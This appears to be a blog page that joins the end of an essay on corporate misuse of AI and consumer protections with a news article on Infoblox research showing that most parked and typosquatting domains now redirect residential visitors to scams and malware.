The problem is not the technology itself; fast ways to find information and communicate with friends and family can be wonderful capabilities. The problem is the priorities of the corporations who own these platforms and for whose benefit they are operated. Recognize that you don’t have control over what data is fed to the AI, who it is shared with and how it is used. It’s important to keep that in mind when you connect devices and services to AI platforms, ask them questions, or consider buying or doing the things they suggest.

There is also a lot that people can demand of governments to restrain harmful corporate uses of AI. In the U.S., Congress could enshrine consumers’ rights to control their own personal data, as the EU already has. It could also create a data protection enforcement agency, as essentially every other developed nation has.

Governments worldwide could invest in Public AI—models built by public agencies offered universally for public benefit and transparently under public oversight. They could also restrict how corporations can collude to exploit people using AI, for example by barring advertisements for dangerous products such as cigarettes and requiring disclosure of paid endorsements.

Every technology company seeks to differentiate itself from competitors, particularly in an era when yesterday’s groundbreaking AI quickly becomes a commodity that will run on any kid’s phone. One differentiator is in building a trustworthy service. It remains to be seen whether companies such as OpenAI and Anthropic can sustain profitable businesses on the back of subscription AI services like the premium editions of ChatGPT, Plus and Pro, and Claude Pro. If they are going to continue convincing consumers and businesses to pay for these premium services, they will need to build trust.

That will require making real commitments to consumers on transparency, privacy, reliability and security that are followed through consistently and verifiably.

And while no one knows what the future business models for AI will be, we can be certain that consumers do not want to be exploited by AI, secretly or otherwise.

This essay was written with Nathan E. Sanders, and originally appeared in The Conversation.

The record-breaking deal has already received a green light from the US government.

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Direct navigation — the act of visiting a website by manually typing a domain name in a web browser — has never been riskier: A new study finds the vast majority of “parked” domains — mostly expired or dormant domain names, or common misspellings of popular websites — are now configured to redirect visitors to sites that foist scams and malware.

When Internet users try to visit expired domain names or accidentally navigate to a lookalike “typosquatting” domain, they are typically brought to a placeholder page at a domain parking company that tries to monetize the wayward traffic by displaying links to a number of third-party websites that have paid to have their links shown.

A decade ago, ending up at one of these parked domains came with a relatively small chance of being redirected to a malicious destination: In 2014, researchers found (PDF) that parked domains redirected users to malicious sites less than five percent of the time — regardless of whether the visitor clicked on any links at the parked page.

But in a series of experiments over the past few months, researchers at the security firm Infoblox say they discovered the situation is now reversed, and that malicious content is by far the norm now for parked websites.

“In large scale experiments, we found that over 90% of the time, visitors to a parked domain would be directed to illegal content, scams, scareware and anti-virus software subscriptions, or malware, as the ‘click’ was sold from the parking company to advertisers, who often resold that traffic to yet another party,” Infoblox researchers wrote in a paper published today.

Infoblox found parked websites are benign if the visitor arrives at the site using a virtual private network (VPN), or else via a non-residential Internet address. For example, Scotiabank.com customers who accidentally mistype the domain as scotaibank[.]com will see a normal parking page if they’re using a VPN, but will be redirected to a site that tries to foist scams, malware or other unwanted content if coming from a residential IP address. Again, this redirect happens just by visiting the misspelled domain with a mobile device or desktop computer that is using a residential IP address.

According to Infoblox, the person or entity that owns scotaibank[.]com has a portfolio of nearly 3,000 lookalike domains, including gmai[.]com, which demonstrably has been configured with its own mail server for accepting incoming email messages. Meaning, if you send an email to a Gmail user and accidentally omit the “l” from “gmail.com,” that missive doesn’t just disappear into the ether or produce a bounce reply: It goes straight to these scammers. The report notices this domain also has been leveraged in multiple recent business email compromise campaigns, using a lure indicating a failed payment with trojan malware attached.

Infoblox found this particular domain holder (betrayed by a common DNS server — torresdns[.]com) has set up typosquatting domains targeting dozens of top Internet destinations, including Craigslist, YouTube, Google, Wikipedia, Netflix, TripAdvisor, Yahoo, eBay, and Microsoft. A defanged list of these typosquatting domains is available here (the dots in the listed domains have been replaced with commas).

David Brunsdon, a threat researcher at Infoblox, said the parked pages send visitors through a chain of redirects, all while profiling the visitor’s system using IP geolocation, device fingerprinting, and cookies to determine where to redirect domain visitors.

“It was often a chain of redirects — one or two domains outside the parking company — before threat arrives,” Brunsdon said. “Each time in the handoff the device is profiled again and again, before being passed off to a malicious domain or else a decoy page like Amazon.com or Alibaba.com if they decide it’s not worth targeting.”

Brunsdon said domain parking services claim the search results they return on parked pages are designed to be relevant to their parked domains, but that almost none of this displayed content was related to the lookalike domain names they tested.

Infoblox said a different threat actor who owns domaincntrol[.]com — a domain that differs from GoDaddy’s name servers by a single character — has long taken advantage of typos in DNS configurations to drive users to malicious websites. In recent months, however, Infoblox discovered the malicious redirect only happens when the query for the misconfigured domain comes from a visitor who is using Cloudflare’s DNS resolvers (1.1.1.1), and that all other visitors will get a page that refuses to load.

The researchers found that even variations on well-known government domains are being targeted by malicious ad networks.

“When one of our researchers tried to report a crime to the FBI’s Internet Crime Complaint Center (IC3), they accidentally visited ic3[.]org instead of ic3[.]gov,” the report notes. “Their phone was quickly redirected to a false ‘Drive Subscription Expired’ page. They were lucky to receive a scam; based on what we’ve learnt, they could just as easily receive an information stealer or trojan malware.”

The Infoblox report emphasizes that the malicious activity they tracked is not attributed to any known party, noting that the domain parking or advertising platforms named in the study were not implicated in the malvertising they documented.

However, the report concludes that while the parking companies claim to only work with top advertisers, the traffic to these domains was frequently sold to affiliate networks, who often resold the traffic to the point where the final advertiser had no business relationship with the parking companies.

Infoblox also pointed out that recent policy changes by Google may have inadvertently increased the risk to users from direct search abuse. Brunsdon said Google Adsense previously defaulted to allowing their ads to be placed on parked pages, but that in early 2025 Google implemented a default setting that had their customers opt-out by default on presenting ads on parked domains — requiring the person running the ad to voluntarily go into their settings and turn on parking as a location.